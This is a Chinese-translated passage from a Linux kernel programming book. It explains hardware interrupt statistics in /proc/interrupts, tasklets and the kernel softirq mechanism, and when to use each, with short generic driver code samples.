图 4.8 - Raspberry Pi ZeroW 上的 IRQ 状态

在前面的/proc/interrupts输出中,系统上的每个 IRQ 线(或记录)都会发出一行。让我们解释一下输出的每一列:

  • 第一列是已分配的 IRQ 号码。

  • 第二列(以后)显示了每个 CPU 核心已服务的硬中断数(从系统启动到现在)。该数字表示中断处理程序在该 CPU 核心上运行的次数(列数因正在处理系统上的 IRQ 的活动核心数而变化)。在前面的屏幕截图中,Raspberry Pi Zero 只有一个 CPU 核心,而我们的 x86_64 VM 有两个(虚拟化的)CPU 核心,中断分布和处理在这些核心上进行(在负载平衡中断和 IRQ 亲和力部分中有更多信息)。

  • 第三(或更后面)列显示了中断控制器芯片。在 x86(图 4.9中的第四列),IO-APIC 表示中断控制器是一种增强型中断控制器,用于在多核系统上将中断分发到各个核心或 CPU 组(在高端系统上,可能会使用多个 IO-APIC)。

  • 之后的列显示了正在使用的中断触发类型;即,电平触发或边沿触发(我们在理解电平触发和边沿触发中断部分中讨论过这一点)。在这里,Edge告诉我们 IRQ 是边沿触发的。它前面的数字(例如,在前面的屏幕截图中的35 Edge)非常依赖于系统。它通常代表中断源(内核将其映射到 IRQ 线;许多嵌入式设备驱动程序通常使用 GPIO 引脚作为中断源)。最好不要尝试解释它(除非您确实知道如何),而只依赖于 IRQ 号码(第一列)。

  • 右侧的最后一列显示了 IRQ 线的当前所有者。通常,这是设备驱动程序或内核组件的名称(通过*request_*irq()API 之一分配了此 IRQ 线)。

图 4.9 - x86_64 Ubuntu 18.04 VM 上的 IRQ 状态(截断屏幕截图)

从 2.6.24 内核开始,对于 x86 和 AMD64 系统(或 x86_64),即使是非设备(I/O)中断(系统中断)也会显示在这里,例如 NMI,本地定时器中断LOC),PMI,IWI 等。您可以在图 4.9中看到,最后一行显示了IWI,这是Inter-Work Interrupt

显示/proc/interrupts的前述输出的内核 procfs 代码 - 即其show方法 - 可以在kernel/irq/proc.c:show_interrupts()(链接:elixir.bootlin.com/linux/v5.4/source/kernel/irq/proc.c#L438)中找到。首先,它打印标题行,然后为每个 IRQ 行发出一行“记录”。统计数据主要来自每个 IRQ 行的元数据结构 - struct irq_desc;在每个 IRQ 中,它通过for_each_online_cpu()辅助例程循环遍历每个处理器核心,打印为每个处理器核心服务的 hardirqs 数量。最后(最后一列),它通过struct irqactionname成员打印 IRQ 行的“所有者”。 x86 的特定于体系结构的中断(例如NMILOCPMIIWI IRQ)通过arch/x86/kernel/irq.c:arch_show_interrupts()中的代码显示。

在 x86 上,IRQ 0 始终是定时器中断。在伴随指南Linux Kernel Programming - 第十章 CPU 调度器 - 第一部分中,我们了解到,理论上,定时器中断每秒触发HZ次。实际上,为了效率,现在已经用每个 CPU 的周期性高分辨率定时器HRT)替换;它显示为名为LOC(用于/proc/interrupts中的定时器中断的LOCal)的 IRQ。

这实际上解释了为什么timer行下的硬件定时器中断数量非常低;看看这个(在一个带有四个(虚拟)CPU 的 x86_64 客户端上):

$ egrep "timer|LOC" /proc/interrupts ; sleep 1 ; egrep "timer|LOC" /proc/interrupts

0: 33 0 0 0 IO-APIC 2-edge timer

LOC: 11038 11809 10058 8848 Local timer interrupts

0: 33 0 0 0 IO-APIC 2-edge timer

LOC: 11104 11844 10086 8889 Local timer interrupts

$请注意 IRQ 0 不增加,但LOC IRQ 确实增加(每个 CPU 核心)。

/proc/stat伪文件还提供了有关每个 CPU 基础上利用服务中断和可以服务的中断数量的一些信息(有关更多详细信息,请参阅proc(5)的手册页)。

理解和使用上半部和下半部部分详细解释的那样,softirqs 可以通过/proc/softirqs查看;稍后会详细介绍。

有了这些,您已经学会了如何查看分配的 IRQ 行。但是,中断处理的一个主要方面仍然存在:理解所谓的上半部/下半部二分法,为什么它们存在以及如何与它们一起工作。我们将在下一节中讨论这个问题。

理解和使用上半部和下半部

已经非常强调了您的中断处理程序必须快速完成其工作(如保持快速部分和其他地方所解释的)。话虽如此,实际上确实出现了一个实际问题。让我们考虑这种情况:您已经分配了 IRQn 并编写了中断处理程序函数来处理此中断。正如您可能记得的那样,我们在这里谈论的函数,通常称为hardirqISR(中断服务例程)或主处理程序,是request_{threaded}_irq()API 的第二个参数,devm_request_irq()API 的第三个参数,以及devm_request_threaded_irq()API 的第四个参数。

正如我们之前提到的,有一个快速的启发式法则要遵循:如果你的hardirq例程的处理一直超过 100 微秒,那么你需要使用替代策略。假设你的处理程序在这个时间内完成得很好;在这种情况下,就没有问题了!但如果它确实需要更多的时间呢?也许外设的低级规范要求在中断到达时你要做一些事情(比如有 10 个项目要完成)。你正确地编写了代码来做到这一点,但它几乎总是超过了时间限制(100 微秒作为一个经验法则)!那么,你该怎么办?一方面,有这些内核人员对你大声呼喊要快点完成;另一方面,外设的低级规范要求你按照几个关键步骤正确处理中断!(谈论处于两难境地!)

正如我们之前暗示的,这些情况下有两种广泛的策略。

  • 使用线程中断来处理大部分工作;被认为是现代的方法。

  • 使用“底半部”例程来处理大部分工作;传统的方法。

我们在“使用线程中断模型”部分详细介绍了线程中断的概念理解、实际用法和为什么

  • 所谓的顶半部是在硬件中断触发时最初调用的函数。这对你来说是很熟悉的 - 它只是通过*request_*irq()API 之一注册的hardirq、ISR 或主处理程序例程(为了清楚起见:通过这些 API 之一:request_irq() / devm_request_irq() / request_threaded_irq() / devm_request_threaded_irq())。

  • 我们还注册了一个所谓的底半部例程来执行大部分中断处理工作。

换句话说,中断处理被分成两半 - 顶部和底部。然而,这并不是一个令人愉快的描述方式(因为英语单词“half”让你直觉地认为例程的大小大致相同);实际情况更像是这样:

  • 顶半部执行所需的最低限度的工作(通常是确认中断,也许在顶半部的持续时间内关闭板上的中断,然后执行任何(最小的)硬件特定工作,包括根据需要从/向设备接收/发送一些数据)。

  • 底半部例程执行大部分中断处理工作。

那么,什么是底半部?它只是一个适当注册到内核的 C 函数。你应该使用的实际注册 API 取决于你打算使用的底半部的类型。有三种类型:

  • 旧的底半部机制,现在已经被弃用;它被缩写为BH(你基本上可以忽略它)。

  • 现代推荐的(如果你一开始就使用了这种上下半部技术)机制:tasklet

  • 底层内核机制:softirq

你会发现 tasklet 实际上是建立在内核 softirq 之上的。

事实是:顶半部 - 我们一直在使用的hardirq处理程序 - 像我们之前提到的那样,只做最低限度的工作;然后“调度”它的底半部并退出(返回)。这里的“调度”并不意味着它调用schedule(),因为那太荒谬了(毕竟我们处于中断上下文中!);这只是用来描述这个事实的词。内核将保证一旦顶半部完成,底半部将尽快运行;特别是,没有用户或内核线程会抢占它。

不过,等一下:即使我们做了这一切 - 将处理程序分成两个部分并让它们共同执行工作 - 那么我们节省了什么时间呢?毕竟,这原本就是最初的意图。现在执行完毕会不会花更长的时间,因为要调用两个函数而不是一个函数的开销呢?啊,这带我们来到一个非常关键的观点:上半部分(硬中断)始终在当前 CPU 上以所有中断被禁用(屏蔽)的状态运行,并且它正在处理的 IRQ 在所有 CPU 上都被禁用(屏蔽)的状态下运行,但下半部分处理程序在所有中断被启用的状态下运行。

请注意,下半部分仍然在原子或中断上下文中运行!因此,适用于硬中断(上半部分)处理程序的相同注意事项也适用于下半部分处理程序:

  • 你不能传输数据(到或从用户内核空间)。

  • 你只能使用GFP_ATOMIC标志分配内存(如果你真的必须)。

  • 你不能直接或间接调用schedule()

这个下半部分处理是所谓的内核延迟功能的一个子集;内核有几种这样的延迟功能机制:

  • 工作队列(基于内核线程);context:process

  • 下半部分/任务 let(基于 softirqs);context:interrupt

  • Softirqs;context:interrupt

  • 内核定时器;context:interrupt

我们将在第五章中介绍内核定时器和工作队列,使用内核定时器、线程和工作队列

所有这些机制都允许内核(或驱动程序)指定一些工作必须在以后进行(它是延迟的),在安全时才能执行。

到这一点,你应该能够理解我们已经讨论过的线程中断机制在某种程度上类似于延迟功能机制。这被认为是现代的使用方法;尽管对于大多数外围设备来说性能是可以接受的,但一些设备类别 - 通常是网络/块/多媒体 - 仍可能需要传统的上半部分和下半部分机制来提供足够高的性能。此外,我们再次强调:上半部分和下半部分始终在原子(中断)上下文中运行,而线程处理程序实际上在进程上下文中运行;你可以将这视为优势或劣势。事实上,尽管线程处理程序在技术上处于进程上下文中,但最好在其中执行快速的非阻塞操作。

指定和使用任务 let

任务 let 和内核的 softirq 机制之间的一个关键区别是,任务 let 更容易使用,这使它成为典型驱动程序的不错选择。当然,如果可以使用线程处理程序,那就直接使用;稍后,我们将展示一张表,帮助你决定何时使用何种方法。任务 let 更容易使用的一个关键因素是(在 SMP 系统上)特定的任务 let 永远不会并行运行;换句话说,给定的任务 let 将一次只在一个 CPU 上运行(使其与自身不并发,或串行化)。

linux/interrupt.h中的头部注释给出了任务 let 的一些重要属性:

[...] Properties:
   * If tasklet_schedule() is called, then tasklet is guaranteed
     to be executed on some cpu at least once after this.
   * If the tasklet is already scheduled, but its execution is still not
     started, it will be executed only once.
   * If this tasklet is already running on another CPU (or schedule is 
     called from tasklet itself), it is rescheduled for later.
   * Tasklet is strictly serialized wrt itself, but not
     wrt another tasklets. If client needs some intertask synchronization,
     he makes it with spinlocks. [...]

我们将很快展示tasklet_schedule()函数。前面评论块中的最后一点将在本书的最后两章中涵盖。

那么,我们如何使用任务 let 呢?首先,我们必须使用tasklet_init()API 进行设置;然后,我们必须安排它执行。让我们学习如何做到这一点。

初始化任务 let

tasklet_init()函数初始化一个任务 let;其签名如下:

#include <linux/interrupt.h>
void tasklet_init(struct tasklet_struct *t, void (*func)(unsigned long), unsigned long data);

让我们检查它的参数:

  • struct tasklet_struct *t:这个结构是表示任务 let 的元数据。正如你已经知道的,一个指针本身没有内存!记得为数据结构分配内存,然后将指针传递到这里。

  • void (*func)(unsigned long):这就是 tasklet 函数本身 - “底半部分”,一旦硬中断完成就会运行;这个底半部分函数执行大部分中断处理过程。

  • unsigned long data:任何你希望传递给 tasklet 例程的数据项(一个 cookie)。

这个初始化工作应该在哪里执行?通常,这是在驱动程序的probe(或init)函数中完成的。所以,现在它已经初始化并准备就绪,我们该如何调用它呢?让我们找出来。

运行 tasklet

Tasklet 是底半部分。因此,在顶半部分,也就是你的硬中断处理程序例程中,你应该在返回之前做的最后一件事是“安排”你的 tasklet 执行:

void tasklet_schedule(struct tasklet_struct *t);

只需将指向你(初始化的)tasklet 结构的指针传递给tasklet_schedule() API;内核会处理剩下的事情。内核做了什么?它安排这个 tasklet 执行;实际上,你的 tasklet 函数代码保证在控制返回到首先被中断的任务之前运行(无论是用户还是内核线程)。更多细节可以在理解内核如何运行 softirqs部分找到。

关于 tasklet,有一些事情你需要明确:

  • Tasklet 在中断(原子)上下文中执行它的代码;实际上它是一个 softirq 上下文。所以,请记住,所有适用于顶半部分的限制在这里也适用!(查看中断上下文指南 - 做什么和不做什么部分,了解有关限制的详细信息)

  • 同步(在 SMP 框架上):

  • 给定的 tasklet 永远不会与自身并行运行。

  • 不同的 tasklet 可以在不同的 CPU 核心上并行运行。

  • 你的 tasklet 本身可能会被硬中断打断,包括你自己的 IRQ!这是因为 tasklet 默认情况下在本地核心上以所有中断启用的状态运行,当然,硬中断在系统上是最高优先级的。

  • 锁定影响真的很重要 - 我们将在本书的最后两章中详细介绍这些领域(特别是当我们涵盖自旋锁时)。

一些(通用驱动程序)示例代码如下(为了清晰起见,我们避免显示任何错误路径):

#include <"convenient.h">               // has the PRINT_CTX() macro
static struct tasklet_struct *ts;
[...]
static int __init mydriver_init(void)
{
    struct device *dev;
    [...]
    /* Register the device with the kernel 'misc' driver framework */
    ret = misc_register(&keylog_miscdev);
    dev = keylog_miscdev.this_device;

    ts = devm_kzalloc(dev, sizeof(struct tasklet_struct), GFP_KERNEL);
    tasklet_init(ts, mydrv_tasklet, 0);

    ret = devm_request_irq(dev, MYDRV_IRQ, my_hardirq_handler,
                    IRQF_SHARED, OURMODNAME, THIS_MODULE);
    [...]

在前面的代码片段中,我们声明了一个全局指针ts,指向struct tasklet_struct;在驱动程序的init代码中,我们将驱动程序注册为属于misc内核框架。接下来,我们通过有用的devm_kzalloc() API 为 tasklet 结构分配了 RAM。然后,我们通过tasklet_init() API 初始化了 tasklet。请注意,我们指定了函数名(第二个参数),并简单地传递了0作为第三个参数,这是要传递的 cookie(许多真实的驱动程序在这里传递它们的上下文/私有数据结构指针)。然后,我们通过devm_request_irq() API 分配了一个 IRQ 线。

让我们继续看一下这个通用驱动程序的代码:

/ * Our 'bottom half' tasklet routine */
static void mydrv_tasklet(unsigned long data)
{
    PRINT_CTX();   // from our convenient.h header
    process_it();  // majority of the interrupt work done here
}

/* Our 'hardirq' interrupt handler routine - our 'top half' */
static irqreturn_t my_hardirq_handler(int irq, void *data)
{
    /* minimal work: ack/disable hardirq, fetch and/or queue data, etc ... */
 tasklet_schedule(ts);
    return IRQ_HANDLED;
}

在前面的代码中,让我们想象我们在顶半部分(my_hardirq_handler()函数)中做了所需的最小工作。然后我们启动了我们的 tasklet,以便通过调用tasklet_schedule() API 来运行。你会发现 tasklet 几乎会在硬中断之后立即运行(在前面的代码中,tasklet 函数被称为mydrv_tasklet())。在 tasklet 中,你应该执行大部分中断处理工作。在其中,我们调用了我们的宏PRINT_CTX();正如你将在完全弄清上下文部分中看到的,它打印了关于我们当前上下文的各种细节,这对于调试/学习很有帮助(你会发现它显示了,除其他事项外,我们当前正在中断上下文中运行)。

除了tasklet_schedule()API,你可以通过tasklet_hi_schedule()API 使用一个替代例程。这在内部使 tasklet 成为最高优先级的 softirq(softirq 优先级0)!(更多信息可以在理解内核 softirq 机制部分找到。)请注意,这几乎从不会发生;tasklet 享有的默认(softirq)优先级通常是足够的。将其设置为hi级别实际上只是为极端情况而设计的;尽可能避免它。

在 Linux 5.4.0 版本中,有 70 多个实例使用了tasklet_hi_schedule()函数。这些驱动程序通常是高性能网络驱动程序-一些 GPU、加密、USB 和 mmc 驱动程序,以及其他一些驱动程序。

当涉及到 tasklets 时,内核不断发展。最近(截至 2020 年 7 月)由Kees Cook和其他人提出的补丁旨在现代化 tasklet 例程(回调)。有关更多信息,请访问www.openwall.com/lists/kernel-hardening/2020/07/16/1

理解内核 softirq 机制

在这一点上,你了解到底部的一半,tasklet,是一个延迟功能机制,而运行时不会屏蔽中断。它们被设计成让你同时获得最好的两个世界:如果情况需要,它们允许驱动程序进行相当长时间的中断处理并且以延迟安全的方式进行,同时允许系统的业务(通过硬件中断)继续进行。

你已经学会了如何使用 tasklet-它是延迟功能机制的一个很好的例子。但它们是如何内部实现的呢?内核通过一个称为softirq(或软件中断)机制的基础设施来实现 tasklets。虽然在表面上它们类似于我们之前看到的线程中断,但在许多重要方面它们实际上是非常不同的。下面 softirqs 的特征将帮助你理解它们:

  • Softirqs 是一个纯粹的内核延迟功能机制,因为它们在内核编译时静态分配(它们都是硬编码到内核中的);你不能动态创建一个新的 softirq。

  • 内核(截至 5.4 版本)提供了总共 10 个离散的 softirqs:

  • 每个 softirq 都设计为满足特定的需求,通常与特定的硬件中断或内核活动相关联。(这里的例外可能是保留给通用 tasklet 的 soft IRQs:HI_SOFTIRQTASKLET_SOFTIRQ。)

  • 这 10 个 softirqs 有一个优先级排序(并且将按照该顺序被消耗)。

  • 任务是,实际上,一个薄的抽象在一个特定的 softirq(TASKLET_SOFTIRQ)之上,其中有 10 个可用的。任务是唯一一个可以随意注册、运行和注销的,这使它成为许多设备驱动程序的理想选择。

  • Softirqs 在中断-softirq-上下文中运行;in_softirq()宏在这里返回true,意味着你在 softirq(或 tasklet)上下文中。

  • 所有 softirq 服务都被认为是系统上的高优先级。在硬件中断(hardirq/ISR/primary处理程序)之后,softirq 在系统上具有最高优先级。未决的 softirqs 在内核恢复首先中断的进程上下文之前被消耗。

以下图表是我们之前对标准 Linux 优先级的描述的超集;这个包括 softirqs(其中包括 tasklet):

图 4.10-标准 Linux 上的相对优先级,显示 softirqs

所以,是的,正如你所看到的,softirqs 是 Linux 上一个非常高优先级的机制;有 10 个不同的优先级。它们是什么,以及它们的用途,将在下一小节中介绍。

可用的 softirqs 及其用途

由给定 softirq 执行的工作被静态编译到内核映像中(它是固定的)。通过以下代码完成了 softirq 和它采取的行动(实际上是通过action函数指针运行的代码)的耦合:

// kernel/softirq.c
void open_softirq(int nr, void (*action)(struct softirq_action *)) 
{
    softirq_vec[nr].action = action;
}

以下图表是 Linux 上可用的 softirqs 及其优先级级别的概念表示(截至内核版本 5.4),其中0为最高,9为最低的 softirq 优先级级别:

图 4.11 - Linux 上的 10 个 softirq 按优先级顺序排列(0:最高,9:最低)

以下表格总结了各个内核的 softirq 按其优先级的顺序(0HI_SOFTIRQ为最高优先级),以及其功能、用途的动作或向量和注释:

Softirq# Softirq 注释(用途/功能) “action”或“vector”函数
0 HI_SOFTIRQ Hi-tasklet:最高优先级的 softirq;在调用tasklet_hi_schedule()时使用。不建议大多数用例使用。请改用常规 tasklet(softirq #6)。 tasklet_hi_action()
1 TIMER_SOFTIRQ Timer:定时器中断的底半部分运行已过期的定时器以及其他“日常”任务(包括调度器 CPU runqueue + vruntime更新,增加已知的jiffies_64变量等)。 run_timer_softirq()
2 NET_TX_SOFTIRQ Net:网络堆栈传输路径底部(qdisc)。 net_tx_action()
3 NET_RX_SOFTIRQ Net:网络堆栈接收路径底部(NAPI 轮询)。 net_rx_action()
4 BLOCK_SOFTIRQ Block:块处理(完成 I/O 操作;调用块 MQ 的complete函数,blk_mq_ops)。 blk_done_softirq()
5 IRQ_POLL_SOFTIRQ irqpoll:实现内核的块层轮询中断模式(相当于网络层的 NAPI 处理)。 irq_poll_softirq()
6 TASKLET_SOFTIRQ 常规 tasklet:实现 tasklet 底部机制,唯一的动态(灵活)softirq:可以由驱动程序根据需要注册、使用和注销。 tasklet_action()
7 SCHED_SOFTIRQ sched:由 SMP 上的 CFS 调度器用于周期性负载平衡;如果需要,将任务迁移到其他运行队列。 run_rebalance_domains()
8 HRTIMER_SOFTIRQ HRT:用于高分辨率定时器HRT)。在 4.2 版本中被移除,并在 4.16 版本中以更好的形式重新进入内核。 hrtimer_run_softirq()
9 RCU_SOFTIRQ RCU:执行读复制更新RCU)处理,一种在核心内核中使用的无锁技术。 rcu_core_si() / rcu_process_callbacks()

这很有趣;网络和块堆栈是非常高优先级的代码路径(定时器中断也是),因此它们的代码必须尽快运行。因此,它们有明确的 softirqs 来服务这些关键代码路径。

我们能看到迄今为止已经触发的 softirqs 吗?当然,就像我们可以查看硬中断一样(通过其proc/interrupts伪文件)。我们有/proc/softirqs伪文件来跟踪 softirqs。这是我本地(四核)x86_64 Ubuntu 系统的一个示例截图:

图 4.12 - 本地 x86_64 系统上/proc/softirqs 的输出,有 4 个 CPU 核心

就像/proc/interrupts一样,前面截图中显示的数字表示从系统启动以来在特定 CPU 核心上发生特定 softirq 的次数。另外,值得一提的是,强大的crash工具有一个有用的命令,irq,显示关于中断的信息;irq -b显示内核上定义的 softirqs。

了解内核如何运行 softirqs

以下是在 x86 触发硬件中断时使用的(近似)调用图:

do_IRQ() -> handle_irq() -> entering_irq() -> hardirq top-half runs -> exiting_irq() -> irq_exit() -> invoke_softirq() -> do_softirq() -> ... bottom half runs: tasklet/softirq ... -> restore context

前面的一些代码路径是与体系结构相关的。请注意,“标记上下文为中断”上下文实际上是一个人为的产物。内核被标记为进入这个上下文在entering_irq()函数中,并且一旦exiting_irq()返回(在 x86 上),它就被标记为离开。但是等等!exiting_irq()内联函数调用kernel/softirq.c:irq_exit()函数(elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L403)。在这个例程中,内核处理并消耗所有待处理的 softirq。从do_softirq()开始的基本调用图如下:

   do_softirq() --  [assembly]do_softirq_own_stack -- __do_softirq()

真正的工作发生在内部的__do_softirq()例程中(elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L249)。在这里,任何待处理的 softirq 按优先级顺序被消耗。请注意,在上下文恢复到中断任务之前,softirq 处理是在之前完成的。

现在,让我们简要关注一些 tasklet 执行的内部细节,然后是如何使用 ksoftirqd 内核线程来卸载 softirq 工作。

运行 tasklets

关于 tasklet 调用的内部工作:我们知道 tasklet softirq 通过tasklet_schedule()运行。这个 API 最终会调用内核的内部__tasklet_schedule_common()函数(elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L471),它内部调用raise_softirq_irqoff(softirq_nr)elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L423)。这会触发softirq_nr softirq;对于常规 tasklet,这个值是TASKLET_SOFTIRQ,而当通过tasklet_hi_schedule()API 调度 tasklet 时,这个值是HI_SOFTIRQ,最高优先级的 softirq!很少使用,如果有的话。

我们现在知道,“schedule”功能已经设置了 softirq;在这里,实际的执行发生在 softirq 在该优先级级别(这里是06)实际运行时。运行 softirq 的函数称为do_softirq();对于常规的 tasklet,它最终会调用tasklet_action() softirq 向量(如前表所示);这将调用tasklet_action_common()elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L501),然后(经过一些列表设置)启用硬件中断(通过local_irq_enable()),然后循环遍历每个 CPU 的 tasklet 列表,运行其中的 tasklet 函数。你注意到这里提到的几乎所有函数都是与体系结构无关的吗?- 这是一件好事。

使用 ksoftirqd 内核线程

当有大量 softirq 等待处理时,softirq 会对系统施加巨大负载。这在网络(以及在某种程度上,块)层中反复出现,导致了轮询模式 IRQ 处理的开发;对于网络(接收)路径,称为 NAPI,对于块层,称为中断轮询处理。但是,即使使用了轮询模式处理,softirq 洪水仍然持续存在怎么办?内核还有一个更加巧妙的方法:如果 softirq 处理超过 2 毫秒,内核会将待处理的 softirq 工作卸载到每个 CPU 内核线程上,命名为ksoftirqd/n(其中n表示 CPU 编号,从0开始)。这种方法的好处是,因为内核线程必须与其他线程竞争 CPU 资源,用户空间不会完全被耗尽 CPU(这可能会发生在纯硬中断/软中断负载中)。

这听起来像是一个好的解决方案,但现实世界并不这么认为。2019 年 2 月,一系列设置软中断向量细粒度屏蔽的补丁看起来很有希望,但最终似乎已经消失了(请阅读进一步阅读部分提供的非常有趣的细节)。Linus Torvalds 的以下电子邮件很好地澄清了真正的问题(lore.kernel.org/lkml/CAHk-=wgOZuGZaVOOiC=drG6ykVkOGk8RRXZ_CrPBMXHKjTg0dg@mail.gmail.com/#t):

... Note that this is all really fairly independent of the whole masking
logic. Yes, the masking logic comes into play too (allowing you to run
a subset of softirq's at a time), but on the whole the complaints I've
seen have not been "the networking softirq takes so long that it
delays USB tasklet handling", but they have been along the lines of
"the networking softirq gets invoked so often that it then floods the
system and triggers [k]softirqd, and _that_ then makes tasklet handling
latency go up insanely ..."

陈述的最后部分正中要害。

因此,问题是:我们能够测量硬中断/软中断实例和延迟吗?我们将在测量指标和延迟部分进行介绍。

软中断和并发

就像我们在任务 let 方面学到的那样,必须了解关于并发的一些要点,关于软中断:

  • 正如在任务 let(在 SMP 上)中指出的,任务 let 永远不会与自身并行运行;这是一个使其更容易使用的特性。这对软中断并不成立:同一个软中断向量确实可以在另一个 CPU 上与自身并行运行!因此,软中断向量代码在使用锁定(和避免死锁)时必须特别小心。

  • 软中断总是可以被硬中断中断,包括引发它被提出的 IRQ(这是因为,与任务 let 一样,软中断在本地核心上以所有中断启用运行)。

  • 一个软中断不能抢占另一个当前正在执行的软中断,即使它们有优先级;它们按优先顺序消耗。

  • 事实上,内核提供了诸如spin_lock_bh()这样的 API,允许您在持有锁时禁用软中断处理。这是为了防止当硬中断和软中断处理程序都在处理共享数据时发生死锁。锁定的影响确实很重要。我们将在本书的最后两章中详细介绍这一点。

硬中断、任务 let 和线程处理程序——在何时使用

正如您已经知道的,硬中断代码旨在进行最少的设置和中断处理,将大部分中断处理留给通过我们一直在谈论的安全方式执行的延迟功能机制,即任务 let 和/或软中断。这个“下半部分”以及延迟功能处理按优先顺序进行——首先是软中断内核定时器,然后是任务 let(这两者只是基础软中断机制的特殊情况),然后是线程中断,最后是工作队列(后两者使用基础内核线程)。

因此,重要的问题是,在编写驱动程序时,您应该使用这些中的哪一个?是否根本应该使用延迟机制?这实际上取决于您的完整中断处理所需的时间。如果您的完整中断处理可以在几微秒内始终完成,那么只需使用上半部分硬中断;不需要其他。

但如果情况并非如此呢?看一下下表;第一列指定了完成中断处理所需的总时间,而其他列提供了一些建议以及利弊:

时间:如果硬件中断处理 需要一致 该怎么办 利/弊
<= 10 微秒 仅使用硬中断(上半部分);不需要其他。 最佳情况;不太典型。
10 到 100 微秒之间 仅使用硬中断或硬中断和任务 let(软中断)。 运行压力测试/工作负载,看看是否真的需要任务 let。在使用上,它略有不鼓励,而更倾向于线程处理程序或工作队列。
100 微秒,非关键设备 使用主处理程序(hardirq);也就是说,要么使用自己的处理程序函数(如果需要特定于硬件的工作),要么简单地使用内核默认值和线程化处理程序。或者,如果可以接受,只需使用工作队列(在下一章中介绍)。 这避免了 softirq 处理,有助于减少系统延迟,但可能导致处理速度稍慢。这是因为线程化处理程序与其他线程竞争 CPU 时间。工作队列也是基于内核线程并具有类似特性。
100 微秒,关键设备(通常是网络、块和一些多媒体设备) 使用主处理程序(hardirq/top half)和一个 tasklet(bottom half)。 当大量中断到达时,它优先处理设备。这也是一个缺点,因为这可能导致"活锁"问题和软中断的长延迟!测试并确定。
100 微秒,极其关键的工作/设备 使用主处理程序(hardirq/top half)和一个 hi-tasklet 或(可能)自己的(新!)softirq。 这是一个相当极端的,不太可能的情况;要添加自己的 softirq,您需要更改内部(GPL 许可的)内核代码。这使得它需要高维护(除非您的核心内核更改+驱动程序被贡献上游!)。

第一列中的微秒时间当然是有争议的,取决于架构和板卡,并且随着时间的推移可能会发生变化。100 微秒作为基线的建议值仅仅是一种启发式方法。

正如我们已经提到的,softirq 处理本身应该在几百微秒内完成;大量未处理的 softirq 可能再次导致活锁情况。内核通过两种方式来减轻(或降低)这种情况:

  • 线程化中断或工作队列(都基于内核线程)

  • 调用ksoftirqd/n内核线程来接管 softirq 处理。

前面的情况在进程上下文中运行,因此减轻了通过调度程序使真正(用户空间)线程饥饿的问题(因为内核线程本身必须竞争 CPU 资源)。

关于前表的最后一行,创建新的 softirq 的唯一方法是实际进入内核代码并对其进行修改。这意味着修改(GPL 许可的)内核代码库。在嵌入式项目方面,修改内核源代码并不罕见。然而,添加 softirq 被认为是(非常)罕见的,而且根本不是一个好主意,因为延迟可能已经很高,而不需要更多的 softirq 处理!这已经很多年没有发生了。

在实时性和确定性方面,在伴随指南Linux 内核编程第十一章 CPU 调度器-第二部分中,在查看结果部分,我们提到在运行标准 Linux 的微处理器上,中断处理的抖动(时间变化)大约为+/- 10 微秒。使用 RTL 内核会好很多,但并非百分之百确定性。那么,在 Linux 上处理中断时可以完全确定吗?一个有趣的方法是使用-如果启用并且可能-FIQs,即一些处理器(尤其是 ARM)提供的所谓快速中断机制。它们在 Linux 内核范围之外工作,这正是为什么编写 FIQ 中断处理程序会消除任何内核引起的抖动。点击此处查看更多信息:bootlin.com/blog/fiq-handlers-in-the-arm-linux-kernel/

最后,可能值得一提的是(在撰写本文时)这里正在进行大量的反思:一些内核开发人员的观点是,整个上半部分下半部分机制不再需要。然而,事实是这种机制已经深深嵌入到内核结构中,使得它不容易移除。

完全弄清上下文

中断上下文指南 - 要做什么和不要做什么部分明确指出:当您处于任何类型的中断(或原子)上下文中时,不要调用任何可能会阻塞的 API(最终调用schedule());这实际上归结为几个关键点(正如我们所看到的)。其中一个是您不应进行任何内核到用户空间(或反之)的数据传输;另一个是,如果必须分配内存,请使用GFP_ATOMIC标志。

当然,这引出了一个问题:我怎么知道我的驱动程序(或模块)代码当前是在进程还是中断(原子)上下文中运行?此外,如果它在中断上下文中运行,它是在顶半部还是底半部?对所有这些的简短回答是内核提供了几个宏,您可以使用这些宏来弄清楚这一点。这些宏在linux/preempt.h头文件中定义。我们将在这里显示相关的内核注释头,而不是不必要地重复信息;它清楚地命名和描述了这些宏:

// include/linux/preempt.h[...]/*
 * Are we doing bottom half or hardware interrupt processing?
 *
 * in_irq()       - We're in (hard) IRQ context
 * in_softirq()   - We have BH disabled, or are processing softirqs
 * in_interrupt() - We're in NMI,IRQ,SoftIRQ context or have BH disabled
 * in_serving_softirq() - We're in softirq context
 * in_nmi()       - We're in NMI context
 * in_task()      - We're in task context
 [...]

我们在配套指南Linux Kernel Programming第六章 Kernel Internals Essentials – Processes and Threads确定上下文部分中涵盖了这个主题的一个子集。

因此,很简单;在我们的convenient.h头文件中(github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/raw/main/convenient.h),我们定义了一个方便的宏PRINT_CTX(),当调用时,将当前上下文打印到内核日志中。这条消息被非常有意地格式化。以下是调用时发出的典型输出的示例:

001)  rdwr_drv_secret :29141   |  .N.0   /* read_miscdrv_rdwr() */

起初,这种格式可能对您来说看起来很奇怪。但是,我只是遵循内核的Ftrace(延迟)输出格式来显示上下文(除了DURATION列;我们这里没有)。Ftrace输出格式得到了开发人员和内核用户的良好支持和理解。以下输出向您展示了如何解释它:

The Ftrace 'latency-format'
                                    _-----= irqs-off           [d]
                                   / _----= need-resched       [N]
                                  | / _---= hardirq/softirq    [H|h|s] [1]
                                  || / _--= preempt-depth      [#]
                                  ||| /
 CPU TASK              PID        ||||        FUNCTION CALLS
 |    |                 |         ||||         |   |   |   |
001)  rdwr_drv_secret :29141    | .N.0    /* read_miscdrv_rdwr() */

[1] 'h' = hard irq is running ; 'H' = hard irq occurred inside a softirq

这可能非常有用,因为它可以帮助您理解并因此调试困难的情况!您不仅可以看到正在运行的内容(其名称和 PID,以及在哪个 CPU 核心上),还可以看到四个有趣的列(用粗体突出显示(.N.0))。这四列的 ASCII 艺术视图实际上与Ftrace本身生成的完全相同。让我们解释一下这四列(在我们的示例中,它的值是.N.0):

  • 列 1:中断状态。如果中断已启用(通常情况下),则显示.,如果已禁用,则显示d

  • 列 2TIF_NEED_RESCHED位状态。如果为1,内核将在下一个机会点调用schedule()(从系统调用返回或从中断返回,以先到者为准)。如果设置,则显示N,如果清除,则显示.

